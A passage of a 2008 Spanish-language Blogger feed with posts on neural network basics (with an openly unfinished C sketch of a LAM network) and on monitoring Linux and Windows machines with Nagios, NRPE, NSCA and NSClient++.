width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8002103865555107583.post-9144018136419163927</id><published>2008-04-03T23:07:00.001-07:00</published><updated>2008-04-03T23:08:40.637-07:00</updated><title type='text'></title><content type='html'>&lt;p style="font-weight: bold; color: rgb(153, 153, 153);"&gt;Redes neuronales:&lt;br /&gt;&lt;br /&gt;Este tipo de redes no ayudaran a renocer patrones se pueden desarrollar sistemas de reconicimiento de voz imagenes y otras aplicaciones interesante para ello posteo la teoria por que si no despues no sabemos que estamos programando.&lt;br /&gt;&lt;br /&gt;consisten de varios elementos de proceso interconectados, los cuales afectan un proceso determinado en forma paralela y transmiten su resultado a través de un canal unidireccional.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;neurona o Unidad: Elemento básico de las redes neuronales, la cual realiza su propio proceso usando información que recibe de otras neuronas y el resultado lo transmite hacia otros.&lt;br /&gt;&lt;br /&gt;Función de transferencia: También llamada función de activación, es una función que se usa dentro de una neurona, esta es generalmente no-lineal.&lt;br /&gt;&lt;br /&gt;Peso de conexión: Es el valor que se asigna al canal unidireccional, éste valor decide la impedancia de la conexión o el valor de su fuerza.&lt;br /&gt;&lt;br /&gt;Capas: Las neuronas se pueden conectar en cascada en este caso se generan capas।&lt;br /&gt;*&lt;br /&gt;funciones&lt;br /&gt;    &lt;/p&gt;&lt;p style="margin-bottom: 0in; font-weight: bold; color: rgb(153, 153, 153);"&gt;L&lt;span style="font-family:Arial,sans-serif;"&gt;&lt;span lang="es-ES"&gt;a clasificación de las redes neuronales.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p style="margin-bottom: 0in; font-weight: bold; color: rgb(153, 153, 153);" lang="es-ES"&gt;&lt;span style="font-family:Arial,sans-serif;"&gt;&lt;span style="font-size:100%;"&gt;&lt;i&gt;Redes Fijas&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/p&gt; &lt;ul style="font-weight: bold; color: rgb(153, 153, 153);"&gt;&lt;li&gt;&lt;p style="margin-bottom: 0in;" lang="es-ES"&gt;&lt;span style="font-family:Arial,sans-serif;"&gt;&lt;span style="font-size:100%;"&gt;Red  de Hopfield&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p style="margin-bottom: 0in;" lang="es-ES"&gt;&lt;span style="font-family:Arial,sans-serif;"&gt;&lt;span style="font-size:100%;"&gt;Red  DE Hamming&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p style="margin-bottom: 0in;" lang="es-ES"&gt;&lt;span style="font-family:Arial,sans-serif;"&gt;&lt;span style="font-size:100%;"&gt;BAM  (Bidirectional Asociative Memory)&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p style="margin-bottom: 0in;" lang="es-ES"&gt;&lt;span style="font-family:Arial,sans-serif;"&gt;&lt;span style="font-size:100%;"&gt;LAM  (Lineal Asociaive Memory)&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;/li&gt;&lt;/ul&gt;&lt;span style="color: rgb(153, 153, 153); font-weight: bold;"&gt;&lt;span style="font-family:Arial,sans-serif;"&gt;&lt;span style="font-size:100%;"&gt;&lt;i&gt;Redes adaptables&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;  &lt;p style="margin-bottom: 0in; font-weight: bold; color: rgb(153, 153, 153);"&gt;&lt;span style="font-family:Arial,sans-serif;"&gt;&lt;span lang="es-ES"&gt;&lt;u&gt;Con supervisión&lt;/u&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:Arial,sans-serif;"&gt;&lt;span lang="es-ES"&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:Arial,sans-serif;"&gt;&lt;span lang="es-ES"&gt;&lt;u&gt;Sin supervisión&lt;/u&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; font-weight: bold; color: rgb(153, 153, 153);" lang="es-ES"&gt;&lt;span id="Frame5" dir="ltr" style="border: medium none ; padding: 0in; background: rgb(255, 255, 255) none repeat scroll 0% 50%; float: left; width: 1.75in; height: 0.87in; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;"&gt;  &lt;ul&gt;&lt;li&gt;&lt;p style="margin-bottom: 0in;" lang="es-ES"&gt;&lt;span style="font-family:Arial,sans-serif;"&gt;&lt;span style="font-size:85%;"&gt;Kohonen&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/li&gt;&lt;li&gt;&lt;p style="margin-bottom: 0in;" lang="es-ES"&gt;&lt;span style="font-family:Arial,sans-serif;"&gt;&lt;span style="font-size:85%;"&gt;Neocognitron&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/li&gt;&lt;li&gt;&lt;p style="margin-bottom: 0in;" lang="es-ES"&gt;&lt;span style="font-family:Arial,sans-serif;"&gt;&lt;span style="font-size:85%;"&gt;ART&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;/li&gt;&lt;/ul&gt; &lt;/span&gt;&lt;br /&gt;&lt;/p&gt; &lt;ul style="font-weight: bold; color: rgb(153, 153, 153);"&gt;&lt;li&gt;&lt;p style="margin-bottom: 0in;" lang="es-ES"&gt;&lt;span style="font-family:Arial,sans-serif;"&gt;&lt;span style="font-size:100%;"&gt;Adaline&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p style="margin-bottom: 0in;" lang="es-ES"&gt;&lt;span style="font-family:Arial,sans-serif;"&gt;&lt;span style="font-size:100%;"&gt;Madaline&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p style="margin-bottom: 0in;" lang="es-ES"&gt;&lt;span style="font-family:Arial,sans-serif;"&gt;&lt;span style="font-size:100%;"&gt;Perceptrón&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p style="margin-bottom: 0in;" lang="es-ES"&gt;&lt;span style="font-family:Arial,sans-serif;"&gt;&lt;span style="font-size:100%;"&gt;Multi  – perceptrón&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p style="margin-bottom: 0in;" lang="es-ES"&gt;&lt;span style="font-family:Arial,sans-serif;"&gt;&lt;span style="font-size:100%;"&gt;Back  - propagation&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;/li&gt;&lt;/ul&gt;            &lt;p style="margin-bottom: 0in; color: rgb(153, 153, 153); font-weight: bold;" lang="es-ES"&gt;&lt;br /&gt;&lt;/p&gt;       &lt;p style="margin-bottom: 0in; color: rgb(153, 153, 153); font-weight: bold;" lang="es-ES"&gt;&lt;span style="font-family:Arial,sans-serif;"&gt;&lt;span lang="es-ES"&gt;la estructura y las diferencias de las redes neuronales vistas en ESTE POST , además los problemas de estabilidad de las redes fijas.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in; color: rgb(153, 153, 153); font-weight: bold;" lang="es-ES"&gt;&lt;span style="font-family:Arial,sans-serif;"&gt;&lt;span style="font-size:100%;"&gt;&lt;i&gt;Diferencias entre redes neuronales&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(153, 153, 153); font-weight: bold;" lang="es-ES"&gt;&lt;span style="font-family:Arial,sans-serif;"&gt;&lt;span style="font-size:100%;"&gt;BAM es bidireccional, y sus pares de vectores pueden tener distinta longitud&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(153, 153, 153); font-weight: bold;" lang="es-ES"&gt;&lt;span style="font-family:Arial,sans-serif;"&gt;&lt;span style="font-size:100%;"&gt;LAM es unidireccional, y sus pares de vectores deben tener longitud igual&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(153, 153, 153); font-weight: bold;" lang="es-ES"&gt;&lt;span style="font-family:Arial,sans-serif;"&gt;&lt;span style="font-size:100%;"&gt;Hopfield se itera hasta que la red converge y existe retroalimentación&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(153, 153, 153); font-weight: bold;" lang="es-ES"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(153, 153, 153); font-weight: bold;" lang="es-ES"&gt;&lt;span style="font-family:Arial,sans-serif;"&gt;&lt;span style="font-size:100%;"&gt;Las redes fijas solo calcularán matriz de correlación entre los vectores a entrenar y calcularán su salida, si la red reconoce esta bien y si no reconoce también &lt;/span&gt;&lt;/span&gt; &lt;/p&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 153, 153); font-weight: bold;"&gt;entrada -&gt; renocimiento -&gt; salida&lt;/span&gt;&lt;br /&gt;      &lt;p style="margin-bottom: 0in; color: rgb(153, 153, 153); font-weight: bold;" lang="es-ES"&gt;&lt;span style="font-family:Arial,sans-serif;"&gt;&lt;span style="font-size:100%;"&gt;&lt;i&gt;Estructura de las Redes NEURONALES&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in; color: rgb(153, 153, 153); font-weight: bold;" lang="es-ES"&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style="color: rgb(153, 153, 153); font-weight: bold;"&gt;*  diagramas&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 153, 153); font-weight: bold;"&gt;ahora el codigo!!!!!!!!&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 153, 153); font-weight: bold;"&gt;*************************************************************************************&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 153, 153); font-weight: bold;"&gt;/***************************************************************************&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 153, 153); font-weight: bold;"&gt;*   Copyright (C) 2008 by Jonathan,,,   *&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 153, 153); font-weight: bold;"&gt;*   ekxo@victoria   *&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 153, 153); font-weight: bold;"&gt;*                                                                         *&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 153, 153); font-weight: bold;"&gt;*   This program is free software; you can redistribute it and/or modify  *&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 153, 153); font-weight: bold;"&gt;*   it under the terms of the GNU General Public License as published by  *&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 153, 153); font-weight: bold;"&gt;*   the Free Software Foundation; either version 2 of the License, or     *&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 153, 153); font-weight: bold;"&gt;*   (at your option) any later version.                                   *&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 153, 153); font-weight: bold;"&gt;*                                                                         *&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 153, 153); font-weight: bold;"&gt;*   This program is distributed in the hope that it will be useful,       *&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 153, 153); font-weight: bold;"&gt;*   but WITHOUT ANY WARRANTY; without even the implied warranty of        *&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 153, 153); font-weight: bold;"&gt;*   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the         *&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 153, 153); font-weight: bold;"&gt;*   GNU General Public License for more details.                          *&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 153, 153); font-weight: bold;"&gt;*                                                                         *&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 153, 153); font-weight: bold;"&gt;*   You should have received a copy of the GNU General Public License     *&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 153, 153); font-weight: bold;"&gt;*   along with this program; if not, write to the                         *&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 153, 153); font-weight: bold;"&gt;*   Free Software Foundation, Inc.,                                       *&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 153, 153); font-weight: bold;"&gt;*   59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.             *&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 153, 153); font-weight: bold;"&gt;***************************************************************************/&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 153, 153); font-weight: bold;"&gt;#include &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 153, 153); font-weight: bold;"&gt;#include &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 153, 153); font-weight: bold;"&gt;int Nvectores[Nelementos],Nelementos,fila;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 153, 153); font-weight: bold;"&gt;int vect[&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 153, 153); font-weight: bold;"&gt;main (){&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 153, 153); font-weight: bold;"&gt;   printf("\n\nEsta es una RED LAM\n\n");&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 153, 153); font-weight: bold;"&gt;    printf("Ingresa el numero de Vectores a Aprender\n");&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 153, 153); font-weight: bold;"&gt;     scanf("%d",&amp;amp;Nvectores);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 153, 153); font-weight: bold;"&gt;      if (Nvectores =! 0) else printf("Falta ingresar Vector");&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 153, 153); font-weight: bold;"&gt;   printf("Ingresa el numero de elementos de cada Vector\n\n");&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 153, 153); font-weight: bold;"&gt;  scanf("%d",&amp;amp;Nelementos);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 153, 153); font-weight: bold;"&gt;  for (fila=1;fila=Nvectores;fila++);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 153, 153); font-weight: bold;"&gt;      vect(fila,:) = input('') %Ingresa vectores&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 153, 153); font-weight: bold;"&gt;         }&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 153, 153); font-weight: bold;"&gt;exit(EXIT_SUCCESS);&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 153, 153); font-weight: bold;"&gt;    NOTA :TODAVIA NO TERMINO EL CODIGO..&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8002103865555107583-9144018136419163927?l=ekx0day-gnulinux.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ekx0day-gnulinux.blogspot.com/feeds/9144018136419163927/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8002103865555107583&amp;postID=9144018136419163927' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8002103865555107583/posts/default/9144018136419163927'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8002103865555107583/posts/default/9144018136419163927'/><link rel='alternate' type='text/html' href='http://ekx0day-gnulinux.blogspot.com/2008/04/redes-neuronales-este-tipo-de-redes-no.html' title=''/><author><name>EKXO GNU/LINUX</name><uri>http://www.blogger.com/profile/11720620110053528288</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp0.blogger.com/_X3QcW21Qw2k/R_vPzUYWddI/AAAAAAAAAGk/XHSp3-yY1sc/S220/Simplify.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8002103865555107583.post-337592402700837448</id><published>2008-03-31T13:33:00.000-07:00</published><updated>2008-04-03T23:09:43.599-07:00</updated><title type='text'>MONITOREO DE SERVIDORES LINUX CON NAGIOS</title><content type='html'>MONITOREO DE SERVIDORES LINUX CON  &lt;span style="font-weight: bold;"&gt;SOIGAN..&lt;/span&gt;   &lt;p&gt; Este documento describe cómo podemos monitorear servicios y atributos “privados” de los servidores de Linux/UNIX, por ejemplo: &lt;/p&gt;   &lt;ul&gt;&lt;li&gt;Carga de la CPU&lt;/li&gt;&lt;li&gt;Uso de la memoria&lt;/li&gt;&lt;li&gt;Uso del disco&lt;/li&gt;&lt;li&gt;Utilizadores entrados&lt;/li&gt;&lt;li&gt;Procesos corrientes&lt;/li&gt;&lt;li&gt;etc.&lt;/li&gt;&lt;/ul&gt;  &lt;p&gt; Los servicios disponibles que son proporcionados por los servidores de Linux (HTTP, ftp, SSH, smtp, etc.) pueden ser monitoreados fácilmente siguiendo la documentación en &lt;a href="http://www.systranlinks.com/trans?systran_lp=xx_es&amp;amp;systran_id=http://www.appliedlanguage.com/&amp;amp;systran_url=http%3A%2F%2Fnagios.sourceforge.net%2Fdocs%2F3_0%2Fmonitoring-publicservices.html"&gt;Monitorear servicios disponibles&lt;/a&gt;.  &lt;/p&gt;   &lt;p&gt;        Debemos tener en cuanta que tenemos que configurara (&lt;i&gt;commands.cfg&lt;/i&gt;, &lt;i&gt;templates.cfg&lt;/i&gt;, etc.) que están instalados.   &lt;/p&gt;      &lt;p&gt;Leer &lt;a href="http://www.systranlinks.com/trans?systran_lp=xx_es&amp;amp;systran_id=http://www.appliedlanguage.com/&amp;amp;systran_url=http%3A%2F%2Fnagios.sourceforge.net%2Fdocs%2F3_0%2Faddons.html#nrpe"&gt;addon de NRPE&lt;/a&gt; para las instrucciones de cómo monitorear un servidor alejado de Linux/Unix.]  &lt;/p&gt;   &lt;p&gt; Hay varias diversas maneras de vigilar atributos o los servidores alejados de Linux/Unix. Uno está usando los claves compartidos de SSH y el &lt;i&gt;check_by_ssh&lt;/i&gt; plugin para ejecutar plugins en los servidores alejados. Este método no será cubierto aquí, sino puede dar lugar a alta carga en tu servidor que monitorea si tienes centenares o millares de servicios MONITOREANDO. Los gastos indirectos las conexiones de SSH de la creación/destruccion son la causa de esto. &lt;/p&gt;   &lt;img alt="NRPE" src="http://nagios.sourceforge.net/docs/3_0/images/nrpe.png" style="float: right; clear: both;" title="NRPE" border="0" /&gt;  &lt;p&gt; Otro método común de como  monitorear los ordenadores principal alejados de Linux/Unix es utilizar el &lt;a href="http://www.systranlinks.com/trans?systran_lp=xx_es&amp;amp;systran_id=http://www.appliedlanguage.com/&amp;amp;systran_url=http%3A%2F%2Fnagios.sourceforge.net%2Fdocs%2F3_0%2Faddons.html#nrpe"&gt;addon de NRPE&lt;/a&gt;. NRPE permite que usted ejecute plugins en los ordenadores principal alejados de Linux/Unix. Esto es útil si  necesitaS vigilar recursos/atributos locales como uso del disco, carga de la CPU, uso de la memoria, el etc. en un ordenador principal alejado. &lt;/p&gt;&lt;br /&gt; &lt;p&gt;&lt;strong&gt;&lt;u&gt;Introducción&lt;/u&gt;&lt;/strong&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;“addons” que están disponibles para Nagios. los addons se pueden utilizar para ampliar las funciones de Nagios o para integrar Nagios con otras aplicaciones. &lt;/p&gt;   &lt;p&gt; Los addons están disponibles para:  &lt;/p&gt;   &lt;ul&gt;&lt;li&gt;El manejo de los config clasifía a través de un interfaz del Web  &lt;/li&gt;&lt;li&gt;Vigilando los ordenadores principal alejados (*NIX, Windows, etc.)  &lt;/li&gt;&lt;li&gt;Someter chequeos de la voz pasiva de los ordenadores principal alejados  &lt;/li&gt;&lt;li&gt;Simplificacion/ampliacion de la lógica de notificación  &lt;/li&gt;&lt;li&gt;… y mucho más  &lt;/li&gt;&lt;/ul&gt;   &lt;p&gt;  Puedes encontrar muchos addons para Nagios visitando:  &lt;/p&gt;   &lt;ul&gt;&lt;li&gt;&lt;a href="http://www.systranlinks.com/trans?systran_lp=xx_es&amp;amp;systran_id=http://www.appliedlanguage.com/&amp;amp;systran_url=http%3A%2F%2Fwww.nagios.org%2F"&gt;Nagios.org&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.systranlinks.com/trans?systran_lp=xx_es&amp;amp;systran_id=http://www.appliedlanguage.com/&amp;amp;systran_url=http%3A%2F%2Fwww.sourceforge.net%2F"&gt;SourceForge.net&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.systranlinks.com/trans?systran_lp=xx_es&amp;amp;systran_id=http://www.appliedlanguage.com/&amp;amp;systran_url=http%3A%2F%2Fwww.nagiosexchange.org%2F"&gt;NagiosExchange.org&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;       &lt;a name="nrpe"&gt; &lt;/a&gt;&lt;p&gt;&lt;a name="nrpe"&gt;&lt;strong&gt;&lt;u&gt;NRPE&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&lt;a name="nrpe"&gt;   &lt;/a&gt;&lt;p&gt; &lt;a name="nrpe"&gt;&lt;img alt="NRPE" src="http://nagios.sourceforge.net/docs/3_0/images/nrpe.png" style="padding: 0pt 0pt 0pt 10px; float: right;" title="NRPE" border="0" /&gt; &lt;/a&gt;&lt;/p&gt;  &lt;p&gt; &lt;a name="nrpe"&gt;NRPE es un addon que permite ejecutar &lt;/a&gt;&lt;a href="http://www.systranlinks.com/trans?systran_lp=xx_es&amp;amp;systran_id=http://www.appliedlanguage.com/&amp;amp;systran_url=http%3A%2F%2Fnagios.sourceforge.net%2Fdocs%2F3_0%2Fplugins.html"&gt;plugins&lt;/a&gt; en los ordenadores principal alejados de Linux/Unix. Esto es útil si necesitas vigilar recursos/atributos locales como uso del disco, carga de la CPU, uso de la memoria, el etc. en un ordenador principal alejado. Las funciones similares pueden ser logradas usando el &lt;i&gt;check_by_ssh&lt;/i&gt; plugin, aunque pueden imponer una carga más alta de la CPU ante la máquina que vigila - especialmente si usted está vigilando a centenares o a millares de ordenadores principal. &lt;/p&gt;   &lt;p&gt; El addon y la documentación de NRPE se pueden encontrar en &lt;a href="http://www.systranlinks.com/trans?systran_lp=xx_es&amp;amp;systran_id=http://www.appliedlanguage.com/&amp;amp;systran_url=http%3A%2F%2Fwww.nagios.org%2F"&gt;http://www.nagios.org/&lt;/a&gt;.  &lt;/p&gt;    &lt;a name="nsca"&gt; &lt;/a&gt;&lt;p&gt;&lt;a name="nsca"&gt;&lt;strong&gt;&lt;u&gt;NSCA&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&lt;a name="nsca"&gt;   &lt;/a&gt;&lt;p&gt; &lt;a name="nsca"&gt;&lt;img alt="NSCA" src="http://nagios.sourceforge.net/docs/3_0/images/nsca.png" style="padding: 0pt 0pt 0pt 10px; float: right;" title="NSCA" border="0" /&gt; &lt;/a&gt;&lt;/p&gt;  &lt;p&gt; &lt;a name="nsca"&gt;NSCA es un addon que permite que usted envíe resultados &lt;/a&gt;&lt;a href="http://www.systranlinks.com/trans?systran_lp=xx_es&amp;amp;systran_id=http://www.appliedlanguage.com/&amp;amp;systran_url=http%3A%2F%2Fnagios.sourceforge.net%2Fdocs%2F3_0%2Fpassivechecks.html"&gt;pasivos del cheque de los&lt;/a&gt; ordenadores principal alejados de Linux/Unix al demonio de Nagios que se ejecuta en el servidor que vigila. Esto es muy útil en el modo &lt;a href="http://www.systranlinks.com/trans?systran_lp=xx_es&amp;amp;systran_id=http://www.appliedlanguage.com/&amp;amp;systran_url=http%3A%2F%2Fnagios.sourceforge.net%2Fdocs%2F3_0%2Fdistributed.html"&gt;distribuido&lt;/a&gt; y &lt;a href="http://www.systranlinks.com/trans?systran_lp=xx_es&amp;amp;systran_id=http://www.appliedlanguage.com/&amp;amp;systran_url=http%3A%2F%2Fnagios.sourceforge.net%2Fdocs%2F3_0%2Fredundancy.html"&gt;redundant/failover&lt;/a&gt;   &lt;/p&gt;&lt;a name="ndoutils"&gt;&lt;/a&gt;&lt;a name="ndoutils"&gt;&lt;strong&gt;&lt;u&gt;NDOUtils&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt;&lt;a name="ndoutils"&gt;   &lt;/a&gt;&lt;p&gt; &lt;a name="ndoutils"&gt;&lt;img alt="NDOUtils" src="http://nagios.sourceforge.net/docs/3_0/images/ndoutils.png" style="padding: 0pt 0pt 0pt 10px; float: right;" title="NDOUtils" border="0" /&gt; &lt;/a&gt;&lt;/p&gt;  &lt;p&gt; &lt;a name="ndoutils"&gt;NDOUtils es un addon que permite que usted salve toda la información de estatus de Nagios en una base de datos de MySQL.  Esto servirá probablemente como la base para un nuevo interfaz PHP-basado del Web para Nagios en el futuro. &lt;/a&gt;&lt;/p&gt;&lt;a name="ndoutils"&gt;   &lt;/a&gt;&lt;p&gt; &lt;a name="ndoutils"&gt;El addon y la documentación de NDOUtils se pueden encontrar en &lt;/a&gt;&lt;a href="http://www.systranlinks.com/trans?systran_lp=xx_es&amp;amp;systran_id=http://www.appliedlanguage.com/&amp;amp;systran_url=http%3A%2F%2Fwww.nagios.org%2F"&gt;http://www.nagios.org/&lt;/a&gt;.  &lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8002103865555107583-337592402700837448?l=ekx0day-gnulinux.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ekx0day-gnulinux.blogspot.com/feeds/337592402700837448/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8002103865555107583&amp;postID=337592402700837448' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8002103865555107583/posts/default/337592402700837448'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8002103865555107583/posts/default/337592402700837448'/><link rel='alternate' type='text/html' href='http://ekx0day-gnulinux.blogspot.com/2008/03/monitorear-maquinas-con-linux-con.html' title='MONITOREO DE SERVIDORES LINUX CON NAGIOS'/><author><name>EKXO GNU/LINUX</name><uri>http://www.blogger.com/profile/11720620110053528288</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp0.blogger.com/_X3QcW21Qw2k/R_vPzUYWddI/AAAAAAAAAGk/XHSp3-yY1sc/S220/Simplify.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8002103865555107583.post-5878797134515261442</id><published>2008-03-31T10:18:00.000-07:00</published><updated>2008-03-31T13:56:55.824-07:00</updated><title type='text'>Monitoreo de MAquinas WINDOWS(SUCKS) con NAGIOS</title><content type='html'>Describo cómo podemos monitorear  servicios y atributos “privados” de las máquinas de Windows, por ejemplo:      &lt;ul&gt;&lt;li&gt;Uso de la memoria&lt;/li&gt;&lt;li&gt;Carga de la CPU&lt;/li&gt;&lt;li&gt;Uso del disco&lt;/li&gt;&lt;li&gt;Mantenga los estados&lt;/li&gt;&lt;li&gt;Procesos corrientes&lt;/li&gt;&lt;li&gt;etc.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;p&gt; Los servicios disponibles que son proporcionados por las máquinas de Windows (HTTP, ftp, POP3, etc.) pueden ser vigilados fácilmente siguiendo la documentación en &lt;a href="http://www.systranlinks.com/trans?systran_lp=xx_es&amp;amp;systran_id=http://www.appliedlanguage.com/&amp;amp;systran_url=http%3A%2F%2Fnagios.sourceforge.net%2Fdocs%2F3_0%2Fmonitoring-publicservices.html"&gt;vigilar servicios publicos disponibles&lt;/a&gt;.  &lt;/p&gt;   &lt;p&gt; &lt;strong&gt;&lt;u&gt;Descripción&lt;/u&gt;&lt;/strong&gt; &lt;/p&gt;   &lt;img alt="Vigilar una máquina de Windows" src="http://nagios.sourceforge.net/docs/3_0/images/monitoring-windows.png" style="float: right;" title="Vigilar una máquina de Windows" border="0" /&gt;  &lt;p&gt;Monitorear servicios privados de una máquina de Windows requiere que instalemos agente en él. Este agente actúa como proxy entre el plugin de  Nagios  que hace vigilar y el servicio o el atributo real de la máquina de Windows. Sin la instalación de un agente en el rectángulo de Windows, Nagios no podría vigilar servicios o los atributos privados del Windows. &lt;/p&gt;   &lt;p&gt; Por este ejemplo, instalaremos el addon de &lt;a href="http://www.systranlinks.com/trans?systran_lp=xx_es&amp;amp;systran_id=http://www.appliedlanguage.com/&amp;amp;systran_url=http%3A%2F%2Fsourceforge.net%2Fprojects%2Fnscplus"&gt;NSClient++&lt;/a&gt; en la máquina de Windows y utilizaremos el &lt;i&gt;check_nt&lt;/i&gt; plugin para comunicarnos con el addon de NSClient++. &lt;i&gt;El check_nt&lt;/i&gt; plugin se debe instalar ya en el servidor de Nagios si.    &lt;/p&gt;   &lt;p&gt; Otros agentes de Windows (como &lt;a href="http://www.systranlinks.com/trans?systran_lp=xx_es&amp;amp;systran_id=http://www.appliedlanguage.com/&amp;amp;systran_url=http%3A%2F%2Fsourceforge.net%2Fprojects%2Fnc-net"&gt;NC_Net&lt;/a&gt;) se podrían utilizar en vez de NSClient++ si quieres - proporcionado le definiciones del comando y del servicio del cambio, el etc. un dígito binario. Por simplicidad cubriré solamente con el addon de NSClient++ en estas instrucciones. 